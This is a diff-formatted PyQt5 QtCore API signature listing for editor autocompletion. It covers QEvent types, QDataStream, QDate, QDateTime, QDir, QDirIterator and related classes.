+QtCore.QEvent.Type.CursorChange?10 +QtCore.QEvent.Type.ToolTipChange?10 +QtCore.QEvent.Type.GrabMouse?10 +QtCore.QEvent.Type.UngrabMouse?10 +QtCore.QEvent.Type.GrabKeyboard?10 +QtCore.QEvent.Type.UngrabKeyboard?10 +QtCore.QEvent.Type.StateMachineSignal?10 +QtCore.QEvent.Type.StateMachineWrapped?10 +QtCore.QEvent.Type.TouchBegin?10 +QtCore.QEvent.Type.TouchUpdate?10 +QtCore.QEvent.Type.TouchEnd?10 +QtCore.QEvent.Type.RequestSoftwareInputPanel?10 +QtCore.QEvent.Type.CloseSoftwareInputPanel?10 +QtCore.QEvent.Type.WinIdChange?10 +QtCore.QEvent.Type.Gesture?10 +QtCore.QEvent.Type.GestureOverride?10 +QtCore.QEvent.Type.FocusAboutToChange?10 +QtCore.QEvent.Type.ScrollPrepare?10 +QtCore.QEvent.Type.Scroll?10 +QtCore.QEvent.Type.Expose?10 +QtCore.QEvent.Type.InputMethodQuery?10 +QtCore.QEvent.Type.OrientationChange?10 +QtCore.QEvent.Type.TouchCancel?10 +QtCore.QEvent.Type.PlatformPanel?10 +QtCore.QEvent.Type.ApplicationStateChange?10 +QtCore.QEvent.Type.ReadOnlyChange?10 +QtCore.QEvent.Type.PlatformSurface?10 +QtCore.QEvent.Type.TabletTrackingChange?10 +QtCore.QEvent.Type.User?10 +QtCore.QEvent.Type.MaxUser?10 +QtCore.QEvent?1(QEvent.Type) +QtCore.QEvent.__init__?1(self, QEvent.Type) +QtCore.QEvent?1(QEvent) +QtCore.QEvent.__init__?1(self, QEvent) +QtCore.QEvent.type?4() -> QEvent.Type +QtCore.QEvent.spontaneous?4() -> bool +QtCore.QEvent.setAccepted?4(bool) +QtCore.QEvent.isAccepted?4() -> bool +QtCore.QEvent.accept?4() +QtCore.QEvent.ignore?4() +QtCore.QEvent.registerEventType?4(int hint=-1) -> int +QtCore.QTimerEvent?1(int) +QtCore.QTimerEvent.__init__?1(self, int) +QtCore.QTimerEvent?1(QTimerEvent) +QtCore.QTimerEvent.__init__?1(self, QTimerEvent) +QtCore.QTimerEvent.timerId?4() -> int +QtCore.QChildEvent?1(QEvent.Type, QObject) +QtCore.QChildEvent.__init__?1(self, QEvent.Type, QObject) +QtCore.QChildEvent?1(QChildEvent) +QtCore.QChildEvent.__init__?1(self, QChildEvent) +QtCore.QChildEvent.child?4() -> QObject +QtCore.QChildEvent.added?4() -> bool +QtCore.QChildEvent.polished?4() -> bool +QtCore.QChildEvent.removed?4() -> bool +QtCore.QDynamicPropertyChangeEvent?1(QByteArray) +QtCore.QDynamicPropertyChangeEvent.__init__?1(self, QByteArray) +QtCore.QDynamicPropertyChangeEvent?1(QDynamicPropertyChangeEvent) +QtCore.QDynamicPropertyChangeEvent.__init__?1(self, QDynamicPropertyChangeEvent) +QtCore.QDynamicPropertyChangeEvent.propertyName?4() -> QByteArray +QtCore.QCryptographicHash.Algorithm?10 +QtCore.QCryptographicHash.Algorithm.Md4?10 +QtCore.QCryptographicHash.Algorithm.Md5?10 +QtCore.QCryptographicHash.Algorithm.Sha1?10 +QtCore.QCryptographicHash.Algorithm.Sha224?10 +QtCore.QCryptographicHash.Algorithm.Sha256?10 +QtCore.QCryptographicHash.Algorithm.Sha384?10 +QtCore.QCryptographicHash.Algorithm.Sha512?10 +QtCore.QCryptographicHash.Algorithm.Sha3_224?10 +QtCore.QCryptographicHash.Algorithm.Sha3_256?10 +QtCore.QCryptographicHash.Algorithm.Sha3_384?10 +QtCore.QCryptographicHash.Algorithm.Sha3_512?10 +QtCore.QCryptographicHash.Algorithm.Keccak_224?10 +QtCore.QCryptographicHash.Algorithm.Keccak_256?10 +QtCore.QCryptographicHash.Algorithm.Keccak_384?10 +QtCore.QCryptographicHash.Algorithm.Keccak_512?10 +QtCore.QCryptographicHash?1(QCryptographicHash.Algorithm) +QtCore.QCryptographicHash.__init__?1(self, QCryptographicHash.Algorithm) +QtCore.QCryptographicHash.reset?4() +QtCore.QCryptographicHash.addData?4(bytes) +QtCore.QCryptographicHash.addData?4(QByteArray) +QtCore.QCryptographicHash.addData?4(QIODevice) -> bool +QtCore.QCryptographicHash.result?4() -> QByteArray +QtCore.QCryptographicHash.hash?4(QByteArray, QCryptographicHash.Algorithm) -> QByteArray +QtCore.QCryptographicHash.hashLength?4(QCryptographicHash.Algorithm) -> int +QtCore.QDataStream.FloatingPointPrecision?10 +QtCore.QDataStream.FloatingPointPrecision.SinglePrecision?10 +QtCore.QDataStream.FloatingPointPrecision.DoublePrecision?10 +QtCore.QDataStream.Status?10 +QtCore.QDataStream.Status.Ok?10 +QtCore.QDataStream.Status.ReadPastEnd?10 +QtCore.QDataStream.Status.ReadCorruptData?10 +QtCore.QDataStream.Status.WriteFailed?10 +QtCore.QDataStream.ByteOrder?10 +QtCore.QDataStream.ByteOrder.BigEndian?10 +QtCore.QDataStream.ByteOrder.LittleEndian?10 +QtCore.QDataStream.Version?10 +QtCore.QDataStream.Version.Qt_1_0?10 +QtCore.QDataStream.Version.Qt_2_0?10 +QtCore.QDataStream.Version.Qt_2_1?10 +QtCore.QDataStream.Version.Qt_3_0?10 +QtCore.QDataStream.Version.Qt_3_1?10 +QtCore.QDataStream.Version.Qt_3_3?10 +QtCore.QDataStream.Version.Qt_4_0?10 +QtCore.QDataStream.Version.Qt_4_1?10 +QtCore.QDataStream.Version.Qt_4_2?10 +QtCore.QDataStream.Version.Qt_4_3?10 +QtCore.QDataStream.Version.Qt_4_4?10 +QtCore.QDataStream.Version.Qt_4_5?10 +QtCore.QDataStream.Version.Qt_4_6?10 +QtCore.QDataStream.Version.Qt_4_7?10 +QtCore.QDataStream.Version.Qt_4_8?10 +QtCore.QDataStream.Version.Qt_4_9?10 +QtCore.QDataStream.Version.Qt_5_0?10 +QtCore.QDataStream.Version.Qt_5_1?10 +QtCore.QDataStream.Version.Qt_5_2?10 +QtCore.QDataStream.Version.Qt_5_3?10 +QtCore.QDataStream.Version.Qt_5_4?10 +QtCore.QDataStream.Version.Qt_5_5?10 +QtCore.QDataStream.Version.Qt_5_6?10 +QtCore.QDataStream.Version.Qt_5_7?10 +QtCore.QDataStream.Version.Qt_5_8?10 +QtCore.QDataStream.Version.Qt_5_9?10 +QtCore.QDataStream.Version.Qt_5_10?10 +QtCore.QDataStream.Version.Qt_5_11?10 +QtCore.QDataStream.Version.Qt_5_12?10 +QtCore.QDataStream.Version.Qt_5_13?10 +QtCore.QDataStream.Version.Qt_5_14?10 +QtCore.QDataStream.Version.Qt_5_15?10 +QtCore.QDataStream?1() +QtCore.QDataStream.__init__?1(self) +QtCore.QDataStream?1(QIODevice) +QtCore.QDataStream.__init__?1(self, QIODevice) +QtCore.QDataStream?1(QByteArray, QIODevice.OpenMode) +QtCore.QDataStream.__init__?1(self, QByteArray, QIODevice.OpenMode) +QtCore.QDataStream?1(QByteArray) +QtCore.QDataStream.__init__?1(self, QByteArray) +QtCore.QDataStream.device?4() -> QIODevice +QtCore.QDataStream.setDevice?4(QIODevice) +QtCore.QDataStream.atEnd?4() -> bool +QtCore.QDataStream.status?4() -> QDataStream.Status +QtCore.QDataStream.setStatus?4(QDataStream.Status) +QtCore.QDataStream.resetStatus?4() +QtCore.QDataStream.byteOrder?4() -> QDataStream.ByteOrder +QtCore.QDataStream.setByteOrder?4(QDataStream.ByteOrder) +QtCore.QDataStream.version?4() -> int +QtCore.QDataStream.setVersion?4(int) +QtCore.QDataStream.skipRawData?4(int) -> int +QtCore.QDataStream.readInt?4() -> int +QtCore.QDataStream.readInt8?4() -> int +QtCore.QDataStream.readUInt8?4() -> int +QtCore.QDataStream.readInt16?4() -> int +QtCore.QDataStream.readUInt16?4() -> int +QtCore.QDataStream.readInt32?4() -> int +QtCore.QDataStream.readUInt32?4() -> int +QtCore.QDataStream.readInt64?4() -> int +QtCore.QDataStream.readUInt64?4() -> int +QtCore.QDataStream.readBool?4() -> bool +QtCore.QDataStream.readFloat?4() -> float +QtCore.QDataStream.readDouble?4() -> float +QtCore.QDataStream.readString?4() -> object +QtCore.QDataStream.writeInt?4(int) +QtCore.QDataStream.writeInt8?4(int) +QtCore.QDataStream.writeUInt8?4(int) +QtCore.QDataStream.writeInt16?4(int) +QtCore.QDataStream.writeUInt16?4(int) +QtCore.QDataStream.writeInt32?4(int) +QtCore.QDataStream.writeUInt32?4(int) +QtCore.QDataStream.writeInt64?4(int) +QtCore.QDataStream.writeUInt64?4(int) +QtCore.QDataStream.writeBool?4(bool) +QtCore.QDataStream.writeFloat?4(float) +QtCore.QDataStream.writeDouble?4(float) +QtCore.QDataStream.writeString?4(str) +QtCore.QDataStream.readQString?4() -> QString +QtCore.QDataStream.writeQString?4(QString) +QtCore.QDataStream.readQStringList?4() -> QStringList +QtCore.QDataStream.writeQStringList?4(QStringList) +QtCore.QDataStream.readQVariant?4() -> QVariant +QtCore.QDataStream.writeQVariant?4(QVariant) +QtCore.QDataStream.readQVariantList?4() -> unknown-type +QtCore.QDataStream.writeQVariantList?4(unknown-type) +QtCore.QDataStream.readQVariantMap?4() -> QVariantMap +QtCore.QDataStream.writeQVariantMap?4(QVariantMap) +QtCore.QDataStream.readQVariantHash?4() -> unknown-type +QtCore.QDataStream.writeQVariantHash?4(unknown-type) +QtCore.QDataStream.readBytes?4() -> object +QtCore.QDataStream.readRawData?4(int) -> object +QtCore.QDataStream.writeBytes?4(bytes) -> QDataStream +QtCore.QDataStream.writeRawData?4(bytes) -> int +QtCore.QDataStream.floatingPointPrecision?4() -> QDataStream.FloatingPointPrecision +QtCore.QDataStream.setFloatingPointPrecision?4(QDataStream.FloatingPointPrecision) +QtCore.QDataStream.startTransaction?4() +QtCore.QDataStream.commitTransaction?4() -> bool +QtCore.QDataStream.rollbackTransaction?4() +QtCore.QDataStream.abortTransaction?4() +QtCore.QDate.MonthNameType?10 +QtCore.QDate.MonthNameType.DateFormat?10 +QtCore.QDate.MonthNameType.StandaloneFormat?10 +QtCore.QDate?1() +QtCore.QDate.__init__?1(self) +QtCore.QDate?1(int, int, int) +QtCore.QDate.__init__?1(self, int, int, int) +QtCore.QDate?1(int, int, int, QCalendar) +QtCore.QDate.__init__?1(self, int, int, int, QCalendar) +QtCore.QDate?1(QDate) +QtCore.QDate.__init__?1(self, QDate) +QtCore.QDate.toPyDate?4() -> object +QtCore.QDate.isNull?4() -> bool +QtCore.QDate.isValid?4() -> bool +QtCore.QDate.year?4() -> int +QtCore.QDate.year?4(QCalendar) -> int +QtCore.QDate.month?4() -> int +QtCore.QDate.month?4(QCalendar) -> int +QtCore.QDate.day?4() -> int +QtCore.QDate.day?4(QCalendar) -> int +QtCore.QDate.dayOfWeek?4() -> int +QtCore.QDate.dayOfWeek?4(QCalendar) -> int +QtCore.QDate.dayOfYear?4() -> int +QtCore.QDate.dayOfYear?4(QCalendar) -> int +QtCore.QDate.daysInMonth?4() -> int +QtCore.QDate.daysInMonth?4(QCalendar) -> int +QtCore.QDate.daysInYear?4() -> int +QtCore.QDate.daysInYear?4(QCalendar) -> int +QtCore.QDate.weekNumber?4() -> (int, int) +QtCore.QDate.shortMonthName?4(int, QDate.MonthNameType type=QDate.DateFormat) -> QString +QtCore.QDate.shortDayName?4(int, QDate.MonthNameType type=QDate.DateFormat) -> QString +QtCore.QDate.longMonthName?4(int, QDate.MonthNameType type=QDate.DateFormat) -> QString +QtCore.QDate.longDayName?4(int, QDate.MonthNameType type=QDate.DateFormat) -> QString +QtCore.QDate.toString?4(Qt.DateFormat format=Qt.TextDate) -> QString +QtCore.QDate.toString?4(Qt.DateFormat, QCalendar) -> QString +QtCore.QDate.toString?4(QString) -> QString +QtCore.QDate.toString?4(QString, QCalendar) -> QString +QtCore.QDate.addDays?4(int) -> QDate +QtCore.QDate.addMonths?4(int) -> QDate +QtCore.QDate.addMonths?4(int, QCalendar) -> QDate +QtCore.QDate.addYears?4(int) -> QDate +QtCore.QDate.addYears?4(int, QCalendar) -> QDate +QtCore.QDate.daysTo?4(QDate) -> int +QtCore.QDate.currentDate?4() -> QDate +QtCore.QDate.fromString?4(QString, Qt.DateFormat format=Qt.TextDate) -> QDate +QtCore.QDate.fromString?4(QString, QString) -> QDate +QtCore.QDate.fromString?4(QString, QString, QCalendar) -> QDate +QtCore.QDate.isValid?4(int, int, int) -> bool +QtCore.QDate.isLeapYear?4(int) -> bool +QtCore.QDate.fromJulianDay?4(int) -> QDate +QtCore.QDate.toJulianDay?4() -> int +QtCore.QDate.setDate?4(int, int, int) -> bool +QtCore.QDate.getDate?4() -> (int, int, int) +QtCore.QDate.startOfDay?4(Qt.TimeSpec spec=Qt.LocalTime, int offsetSeconds=0) -> QDateTime +QtCore.QDate.endOfDay?4(Qt.TimeSpec spec=Qt.LocalTime, int offsetSeconds=0) -> QDateTime +QtCore.QDate.startOfDay?4(QTimeZone) -> QDateTime +QtCore.QDate.endOfDay?4(QTimeZone) -> QDateTime +QtCore.QDate.setDate?4(int, int, int, QCalendar) -> bool +QtCore.QTime?1() +QtCore.QTime.__init__?1(self) +QtCore.QTime?1(int, int, int second=0, int msec=0) +QtCore.QTime.__init__?1(self, int, int, int second=0, int msec=0) +QtCore.QTime?1(QTime) +QtCore.QTime.__init__?1(self, QTime) +QtCore.QTime.toPyTime?4() -> object +QtCore.QTime.isNull?4() -> bool +QtCore.QTime.isValid?4() -> bool +QtCore.QTime.hour?4() -> int +QtCore.QTime.minute?4() -> int +QtCore.QTime.second?4() -> int +QtCore.QTime.msec?4() -> int +QtCore.QTime.toString?4(Qt.DateFormat format=Qt.TextDate) -> QString +QtCore.QTime.toString?4(QString) -> QString +QtCore.QTime.setHMS?4(int, int, int, int msec=0) -> bool +QtCore.QTime.addSecs?4(int) -> QTime +QtCore.QTime.secsTo?4(QTime) -> int +QtCore.QTime.addMSecs?4(int) -> QTime +QtCore.QTime.msecsTo?4(QTime) -> int +QtCore.QTime.currentTime?4() -> QTime +QtCore.QTime.fromString?4(QString, Qt.DateFormat format=Qt.TextDate) -> QTime +QtCore.QTime.fromString?4(QString, QString) -> QTime +QtCore.QTime.isValid?4(int, int, int, int msec=0) -> bool +QtCore.QTime.start?4() +QtCore.QTime.restart?4() -> int +QtCore.QTime.elapsed?4() -> int +QtCore.QTime.fromMSecsSinceStartOfDay?4(int) -> QTime +QtCore.QTime.msecsSinceStartOfDay?4() -> int +QtCore.QDateTime.YearRange?10 +QtCore.QDateTime.YearRange.First?10 +QtCore.QDateTime.YearRange.Last?10 +QtCore.QDateTime?1() +QtCore.QDateTime.__init__?1(self) +QtCore.QDateTime?1(QDateTime) +QtCore.QDateTime.__init__?1(self, QDateTime) +QtCore.QDateTime?1(QDate) +QtCore.QDateTime.__init__?1(self, QDate) +QtCore.QDateTime?1(QDate, QTime, Qt.TimeSpec timeSpec=Qt.LocalTime) +QtCore.QDateTime.__init__?1(self, QDate, QTime, Qt.TimeSpec timeSpec=Qt.LocalTime) +QtCore.QDateTime?1(int, int, int, int, int, int second=0, int msec=0, int timeSpec=0) +QtCore.QDateTime.__init__?1(self, int, int, int, int, int, int second=0, int msec=0, int timeSpec=0) +QtCore.QDateTime?1(QDate, QTime, Qt.TimeSpec, int) +QtCore.QDateTime.__init__?1(self, QDate, QTime, Qt.TimeSpec, int) +QtCore.QDateTime?1(QDate, QTime, QTimeZone) +QtCore.QDateTime.__init__?1(self, QDate, QTime, QTimeZone) +QtCore.QDateTime.toPyDateTime?4() -> object +QtCore.QDateTime.isNull?4() -> bool +QtCore.QDateTime.isValid?4() -> bool +QtCore.QDateTime.date?4() -> QDate +QtCore.QDateTime.time?4() -> QTime +QtCore.QDateTime.timeSpec?4() -> Qt.TimeSpec +QtCore.QDateTime.toTime_t?4() -> int +QtCore.QDateTime.setDate?4(QDate) +QtCore.QDateTime.setTime?4(QTime) +QtCore.QDateTime.setTimeSpec?4(Qt.TimeSpec) +QtCore.QDateTime.setTime_t?4(int) +QtCore.QDateTime.toString?4(Qt.DateFormat format=Qt.TextDate) -> QString +QtCore.QDateTime.toString?4(QString) -> QString +QtCore.QDateTime.addDays?4(int) -> QDateTime +QtCore.QDateTime.addMonths?4(int) -> QDateTime +QtCore.QDateTime.addYears?4(int) -> QDateTime +QtCore.QDateTime.addSecs?4(int) -> QDateTime +QtCore.QDateTime.addMSecs?4(int) -> QDateTime +QtCore.QDateTime.toTimeSpec?4(Qt.TimeSpec) -> QDateTime +QtCore.QDateTime.toLocalTime?4() -> QDateTime +QtCore.QDateTime.toUTC?4() -> QDateTime +QtCore.QDateTime.daysTo?4(QDateTime) -> int +QtCore.QDateTime.secsTo?4(QDateTime) -> int +QtCore.QDateTime.currentDateTime?4() -> QDateTime +QtCore.QDateTime.fromString?4(QString, Qt.DateFormat format=Qt.TextDate) -> QDateTime +QtCore.QDateTime.fromString?4(QString, QString) -> QDateTime +QtCore.QDateTime.fromTime_t?4(int) -> QDateTime +QtCore.QDateTime.toMSecsSinceEpoch?4() -> int +QtCore.QDateTime.setMSecsSinceEpoch?4(int) +QtCore.QDateTime.msecsTo?4(QDateTime) -> int +QtCore.QDateTime.currentDateTimeUtc?4() -> QDateTime +QtCore.QDateTime.fromMSecsSinceEpoch?4(int) -> QDateTime +QtCore.QDateTime.currentMSecsSinceEpoch?4() -> int +QtCore.QDateTime.swap?4(QDateTime) +QtCore.QDateTime.offsetFromUtc?4() -> int +QtCore.QDateTime.timeZone?4() -> QTimeZone +QtCore.QDateTime.timeZoneAbbreviation?4() -> QString +QtCore.QDateTime.isDaylightTime?4() -> bool +QtCore.QDateTime.setOffsetFromUtc?4(int) +QtCore.QDateTime.setTimeZone?4(QTimeZone) +QtCore.QDateTime.toOffsetFromUtc?4(int) -> QDateTime +QtCore.QDateTime.toTimeZone?4(QTimeZone) -> QDateTime +QtCore.QDateTime.fromTime_t?4(int, Qt.TimeSpec, int offsetSeconds=0) -> QDateTime +QtCore.QDateTime.fromTime_t?4(int, QTimeZone) -> QDateTime +QtCore.QDateTime.fromMSecsSinceEpoch?4(int, Qt.TimeSpec, int offsetSeconds=0) -> QDateTime +QtCore.QDateTime.fromMSecsSinceEpoch?4(int, QTimeZone) -> QDateTime +QtCore.QDateTime.toSecsSinceEpoch?4() -> int +QtCore.QDateTime.setSecsSinceEpoch?4(int) +QtCore.QDateTime.fromSecsSinceEpoch?4(int, Qt.TimeSpec spec=Qt.LocalTime, int offsetSeconds=0) -> QDateTime +QtCore.QDateTime.fromSecsSinceEpoch?4(int, QTimeZone) -> QDateTime +QtCore.QDateTime.currentSecsSinceEpoch?4() -> int +QtCore.QDateTime.fromString?4(QString, QString, QCalendar) -> QDateTime +QtCore.QDateTime.toString?4(QString, QCalendar) -> QString +QtCore.QDeadlineTimer.ForeverConstant?10 +QtCore.QDeadlineTimer.ForeverConstant.Forever?10 +QtCore.QDeadlineTimer?1(Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.__init__?1(self, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer?1(QDeadlineTimer.ForeverConstant, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.__init__?1(self, QDeadlineTimer.ForeverConstant, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer?1(int, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.__init__?1(self, int, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer?1(QDeadlineTimer) +QtCore.QDeadlineTimer.__init__?1(self, QDeadlineTimer) +QtCore.QDeadlineTimer.swap?4(QDeadlineTimer) +QtCore.QDeadlineTimer.isForever?4() -> bool +QtCore.QDeadlineTimer.hasExpired?4() -> bool +QtCore.QDeadlineTimer.timerType?4() -> Qt.TimerType +QtCore.QDeadlineTimer.setTimerType?4(Qt.TimerType) +QtCore.QDeadlineTimer.remainingTime?4() -> int +QtCore.QDeadlineTimer.remainingTimeNSecs?4() -> int +QtCore.QDeadlineTimer.setRemainingTime?4(int, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.setPreciseRemainingTime?4(int, int nsecs=0, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.deadline?4() -> int +QtCore.QDeadlineTimer.deadlineNSecs?4() -> int +QtCore.QDeadlineTimer.setDeadline?4(int, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.setPreciseDeadline?4(int, int nsecs=0, Qt.TimerType type=Qt.CoarseTimer) +QtCore.QDeadlineTimer.addNSecs?4(QDeadlineTimer, int) -> QDeadlineTimer +QtCore.QDeadlineTimer.current?4(Qt.TimerType type=Qt.CoarseTimer) -> QDeadlineTimer +QtCore.QDir.SortFlag?10 +QtCore.QDir.SortFlag.Name?10 +QtCore.QDir.SortFlag.Time?10 +QtCore.QDir.SortFlag.Size?10 +QtCore.QDir.SortFlag.Unsorted?10 +QtCore.QDir.SortFlag.SortByMask?10 +QtCore.QDir.SortFlag.DirsFirst?10 +QtCore.QDir.SortFlag.Reversed?10 +QtCore.QDir.SortFlag.IgnoreCase?10 +QtCore.QDir.SortFlag.DirsLast?10 +QtCore.QDir.SortFlag.LocaleAware?10 +QtCore.QDir.SortFlag.Type?10 +QtCore.QDir.SortFlag.NoSort?10 +QtCore.QDir.Filter?10 +QtCore.QDir.Filter.Dirs?10 +QtCore.QDir.Filter.Files?10 +QtCore.QDir.Filter.Drives?10 +QtCore.QDir.Filter.NoSymLinks?10 +QtCore.QDir.Filter.AllEntries?10 +QtCore.QDir.Filter.TypeMask?10 +QtCore.QDir.Filter.Readable?10 +QtCore.QDir.Filter.Writable?10 +QtCore.QDir.Filter.Executable?10 +QtCore.QDir.Filter.PermissionMask?10 +QtCore.QDir.Filter.Modified?10 +QtCore.QDir.Filter.Hidden?10 +QtCore.QDir.Filter.System?10 +QtCore.QDir.Filter.AccessMask?10 +QtCore.QDir.Filter.AllDirs?10 +QtCore.QDir.Filter.CaseSensitive?10 +QtCore.QDir.Filter.NoDotAndDotDot?10 +QtCore.QDir.Filter.NoFilter?10 +QtCore.QDir.Filter.NoDot?10 +QtCore.QDir.Filter.NoDotDot?10 +QtCore.QDir?1(QDir) +QtCore.QDir.__init__?1(self, QDir) +QtCore.QDir?1(QString path='') +QtCore.QDir.__init__?1(self, QString path='') +QtCore.QDir?1(QString, QString, QDir.SortFlags sort=QDir.Name|QDir.IgnoreCase, QDir.Filters filters=QDir.AllEntries) +QtCore.QDir.__init__?1(self, QString, QString, QDir.SortFlags sort=QDir.Name|QDir.IgnoreCase, QDir.Filters filters=QDir.AllEntries) +QtCore.QDir.setPath?4(QString) +QtCore.QDir.path?4() -> QString +QtCore.QDir.absolutePath?4() -> QString +QtCore.QDir.canonicalPath?4() -> QString +QtCore.QDir.dirName?4() -> QString +QtCore.QDir.filePath?4(QString) -> QString +QtCore.QDir.absoluteFilePath?4(QString) -> QString +QtCore.QDir.relativeFilePath?4(QString) -> QString +QtCore.QDir.cd?4(QString) -> bool +QtCore.QDir.cdUp?4() -> bool +QtCore.QDir.nameFilters?4() -> QStringList +QtCore.QDir.setNameFilters?4(QStringList) +QtCore.QDir.filter?4() -> QDir.Filters +QtCore.QDir.setFilter?4(QDir.Filters) +QtCore.QDir.sorting?4() -> QDir.SortFlags +QtCore.QDir.setSorting?4(QDir.SortFlags) +QtCore.QDir.count?4() -> int +QtCore.QDir.nameFiltersFromString?4(QString) -> QStringList +QtCore.QDir.entryList?4(QDir.Filters filters=QDir.NoFilter, QDir.SortFlags sort=QDir.SortFlag.NoSort) -> QStringList +QtCore.QDir.entryList?4(QStringList, QDir.Filters filters=QDir.NoFilter, QDir.SortFlags sort=QDir.SortFlag.NoSort) -> QStringList +QtCore.QDir.entryInfoList?4(QDir.Filters filters=QDir.NoFilter, QDir.SortFlags sort=QDir.SortFlag.NoSort) -> unknown-type +QtCore.QDir.entryInfoList?4(QStringList, QDir.Filters filters=QDir.NoFilter, QDir.SortFlags sort=QDir.SortFlag.NoSort) -> unknown-type +QtCore.QDir.mkdir?4(QString) -> bool +QtCore.QDir.rmdir?4(QString) -> bool +QtCore.QDir.mkpath?4(QString) -> bool +QtCore.QDir.rmpath?4(QString) -> bool +QtCore.QDir.isReadable?4() -> bool +QtCore.QDir.exists?4() -> bool +QtCore.QDir.isRoot?4() -> bool +QtCore.QDir.isRelativePath?4(QString) -> bool +QtCore.QDir.isAbsolutePath?4(QString) -> bool +QtCore.QDir.isRelative?4() -> bool +QtCore.QDir.isAbsolute?4() -> bool +QtCore.QDir.makeAbsolute?4() -> bool +QtCore.QDir.remove?4(QString) -> bool +QtCore.QDir.rename?4(QString, QString) -> bool +QtCore.QDir.exists?4(QString) -> bool +QtCore.QDir.refresh?4() +QtCore.QDir.drives?4() -> unknown-type +QtCore.QDir.separator?4() -> QChar +QtCore.QDir.setCurrent?4(QString) -> bool +QtCore.QDir.current?4() -> QDir +QtCore.QDir.currentPath?4() -> QString +QtCore.QDir.home?4() -> QDir +QtCore.QDir.homePath?4() -> QString +QtCore.QDir.root?4() -> QDir +QtCore.QDir.rootPath?4() -> QString +QtCore.QDir.temp?4() -> QDir +QtCore.QDir.tempPath?4() -> QString +QtCore.QDir.match?4(QStringList, QString) -> bool +QtCore.QDir.match?4(QString, QString) -> bool +QtCore.QDir.cleanPath?4(QString) -> QString +QtCore.QDir.toNativeSeparators?4(QString) -> QString +QtCore.QDir.fromNativeSeparators?4(QString) -> QString +QtCore.QDir.setSearchPaths?4(QString, QStringList) +QtCore.QDir.addSearchPath?4(QString, QString) +QtCore.QDir.searchPaths?4(QString) -> QStringList +QtCore.QDir.removeRecursively?4() -> bool +QtCore.QDir.swap?4(QDir) +QtCore.QDir.listSeparator?4() -> QChar +QtCore.QDir.isEmpty?4(QDir.Filters filters=QDir.AllEntries|QDir.NoDotAndDotDot) -> bool +QtCore.QDir.Filters?1() +QtCore.QDir.Filters.__init__?1(self) +QtCore.QDir.Filters?1(int) +QtCore.QDir.Filters.__init__?1(self, int) +QtCore.QDir.Filters?1(QDir.Filters) +QtCore.QDir.Filters.__init__?1(self, QDir.Filters) +QtCore.QDir.SortFlags?1() +QtCore.QDir.SortFlags.__init__?1(self) +QtCore.QDir.SortFlags?1(int) +QtCore.QDir.SortFlags.__init__?1(self, int) +QtCore.QDir.SortFlags?1(QDir.SortFlags) +QtCore.QDir.SortFlags.__init__?1(self, QDir.SortFlags) +QtCore.QDirIterator.IteratorFlag?10 +QtCore.QDirIterator.IteratorFlag.NoIteratorFlags?10 +QtCore.QDirIterator.IteratorFlag.FollowSymlinks?10 +QtCore.QDirIterator.IteratorFlag.Subdirectories?10 +QtCore.QDirIterator?1(QDir, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator.__init__?1(self, QDir, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator?1(QString, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator.__init__?1(self, QString, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator?1(QString, QDir.Filters, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator.__init__?1(self, QString, QDir.Filters, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator?1(QString, QStringList, QDir.Filters filters=QDir.NoFilter, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator.__init__?1(self, QString, QStringList, QDir.Filters filters=QDir.NoFilter, QDirIterator.IteratorFlags flags=QDirIterator.NoIteratorFlags) +QtCore.QDirIterator.next?4() -> QString +QtCore.QDirIterator.hasNext?4() -> bool +QtCore.QDirIterator.fileName?4() -> QString +QtCore.QDirIterator.filePath?4() -> QString +QtCore.QDirIterator.fileInfo?4() -> QFileInfo +QtCore.QDirIterator.path?4() -> QString +QtCore.QDirIterator.IteratorFlags?1() +QtCore.QDirIterator.IteratorFlags.__init__?1(self) +QtCore.QDirIterator.IteratorFlags?1(int) +QtCore.QDirIterator.IteratorFlags.__init__?1(self, int) +QtCore.QDirIterator.IteratorFlags?1(QDirIterator.IteratorFlags) +QtCore.QDirIterator.IteratorFlags.__init__?1(self, QDirIterator.IteratorFlags) +QtCore.QEasingCurve.Type?10 +QtCore.QEasingCurve.Type.Linear?10 +QtCore.QEasingCurve.Type.InQuad?10 +QtCore.QEasingCurve.Type.OutQuad?10 +QtCore.QEasingCurve.Type.InOutQuad?10 +QtCore.QEasingCurve.Type.OutInQuad?10 +QtCore.QEasingCurve.Type.InCubic?10 +QtCore.QEasingCurve.Type.OutCubic?10 +QtCore.QEasingCurve.Type.InOutCubic?10 +QtCore.QEasingCurve.Type.OutInCubic?10 +QtCore.QEasingCurve.Type.InQuart?10 +QtCore.QEasingCurve.Type.OutQuart?10 +QtCore.QEasingCurve.Type.InOutQuart?10 +QtCore.QEasingCurve.Type.OutInQuart?10 +QtCore.QEasingCurve.Type.InQuint?10 +QtCore.QEasingCurve.Type.OutQuint?10 +QtCore.QEasingCurve.Type.InOutQuint?10 +QtCore.QEasingCurve.Type.OutInQuint?10 +QtCore.QEasingCurve.Type.InSine?10 +QtCore.QEasingCurve.Type.OutSine?10 +QtCore.QEasingCurve.Type.InOutSine?10 +QtCore.QEasingCurve.Type.OutInSine?10 +QtCore.QEasingCurve.Type.InExpo?10 +QtCore.QEasingCurve.Type.OutExpo?10 +QtCore.QEasingCurve.Type.InOutExpo?10 +QtCore.QEasingCurve.Type.OutInExpo?10 +QtCore.QEasingCurve.Type.InCirc?10 +QtCore.QEasingCurve.Type.OutCirc?10 +QtCore.QEasingCurve.Type.InOutCirc?10 